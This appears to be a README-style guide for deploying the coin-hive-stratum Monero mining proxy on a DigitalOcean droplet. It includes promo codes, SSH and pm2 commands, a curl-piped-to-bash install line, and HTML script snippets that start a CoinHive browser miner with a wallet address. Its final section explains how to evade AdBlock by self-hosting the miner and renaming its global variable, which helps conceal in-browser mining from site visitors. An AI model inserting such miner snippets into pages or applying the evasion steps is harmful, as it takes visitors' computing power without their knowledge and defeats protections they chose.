Deploy to DigitalOcean

Deploy coin-hive-stratum to a DigitalOcean dropplet ($5/m)

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Account

Create an account at DigitalOcean.

If you sign up with this link you will get $10 on DigitalOcean credit for free.

You can also enter a promo code:

• If you have a student email (ending with .edu) you can get $50 on DigitalOcean credit for free with a GitHub Student Pack.

• If you don't have a student email, you can use the promo code LOWENDBOX to get $15 for free.

• If the one above doesn't work, you can use DROPLET10 and get $10 for free.

Droplet

After logging in, go to your droplets and create a new one:

Choose an Ubuntu image:

Choose the size:

Choose a region:

After creating your droplet you will receive an email with your droplet's credentials:

Droplet Name: ubuntu-512mb-nyc3-01
IP Address: 203.0.113.0
Username: root
Password: EXAMPLE71936efe52b9eb4c602

Users of Windows without Bash will have to access their droplet using Putty.

If you use of Linux, Mac, or Windows with Bash, you can access your droplet via OpenSSH:

ssh root@203.0.113.0

Once logged in, run this command:

curl -o- https://raw.githubusercontent.com/cazala/coin-hive-stratum/master/install.sh | bash 

This will install coin-hive-stratum and all it's dependencies.

Now run this to activate NVM:

source ~/.bashrc

To configure your proxy, edit the file proxy.js (by default it's pointing to pool.supportxmr.com:3333):

vi proxy.js

Now you can start your proxy using pm2:

pm2 start proxy.js --name=proxy --log-date-format="YYYY-MM-DD HH:mm"

Run this to monitor your proxy:

pm2 monit

And this to stop it:

pm2 stop proxy

Now you proxy is available via ws://X.X.X.X (where X.X.X.X is your droplet's IP) !

For example:

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
  // Configure CoinHive to point to your proxy
  CoinHive.CONFIG.WEBSOCKET_SHARDS = [["ws://203.0.113.0"]];

  // Start miner
  var miner = CoinHive.Anonymous('your-monero-address');
  miner.start();

</script>

Custom Domain or Subdomain and SSL

Probably you will want to access your proxy from a domain instead of an IP, and be able to use wss://

In order to do this you will have to buy a domain if you don't have one (GoDaddy, NameCheap, or other will work), and follow this guide:

• Point your Nameservers to DigitalOcean

If you already have a domain, and you are using Cloudflare (if you don't, you should) and you want to use your proxy under a subdomain, follow this guide:

• Cloudflare pointing subdomains to different droplets

To generate your SSL certificates for your domain or subdomain follow this guide:

• Use Certbot to retrieve Let's Encrypt SSL certificates

After you have your domain or subdomain setup and your SSL certificates, just edit the file proxy_secure.js and add your domain in the line const domain = "yourdomain.com":

vi proxy_secure.js

It should look like this:

const Proxy = require("coin-hive-stratum");
const domain = "yourdomain.com"
const proxy = new Proxy({
  host: "pool.supportxmr.com",
  port: 3333,
  key: require("fs").readFileSync("/etc/letsencrypt/live/" + domain + "/privkey.pem"),
  cert: require("fs").readFileSync("/etc/letsencrypt/live/" + domain + "/fullchain.pem"),
});
proxy.listen(443);

And run your proxy using this instead:

pm2 start proxy_secure.js --name=proxy --log-date-format="YYYY-MM-DD HH:mm"

Now your proxy will be accesible from your domain and via wss://!

For example:

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
  // Configure CoinHive to point to your proxy
  CoinHive.CONFIG.WEBSOCKET_SHARDS = [["wss://my-awesome-proxy.com"]];

  // Start miner
  var miner = CoinHive.Anonymous('your-monero-address');
  miner.start();

</script>

Avoid AdBlock

You may also want to host your own assets instead of using CoinHive's to avoid AdBlock.

In order to do that, fork this repo.

Now login to Netlify and follow this instruction:

• Click on New site from Git

• Connect to GitHub

• Select the repo you just forked: coin-hive-stratum

• Select the branch assets

• Deploy!

This will give you a url like this:

https://frosty-shockley-c3792a.netlify.com

Now instead of using CoinHive's miner:

<script src="https://coinhive.com/lib/coinhive.min.js"></script>

You should use your miner like this:

<script src="https://frosty-shockley-c3792a.netlify.com/m.js?proxy=YOUR-PROXY-URL"></script>

This is an example of how it should look like:

<script src="frosty-shockley-c3792a.netlify.com/m.js?proxy=wss://my-awesome-proxy.com"></script>

Also, instead of using the CoinHive global variable use CH (this is to avoid AdBlock), ie:

<script src="frosty-shockley-c3792a.netlify.com/m.js?proxy=wss://my-awesome-proxy.com"></script>
<script>
  var miner = CH.Anonymous('MONERO_WALLET_ADDRESS');
  miner.start();
</script>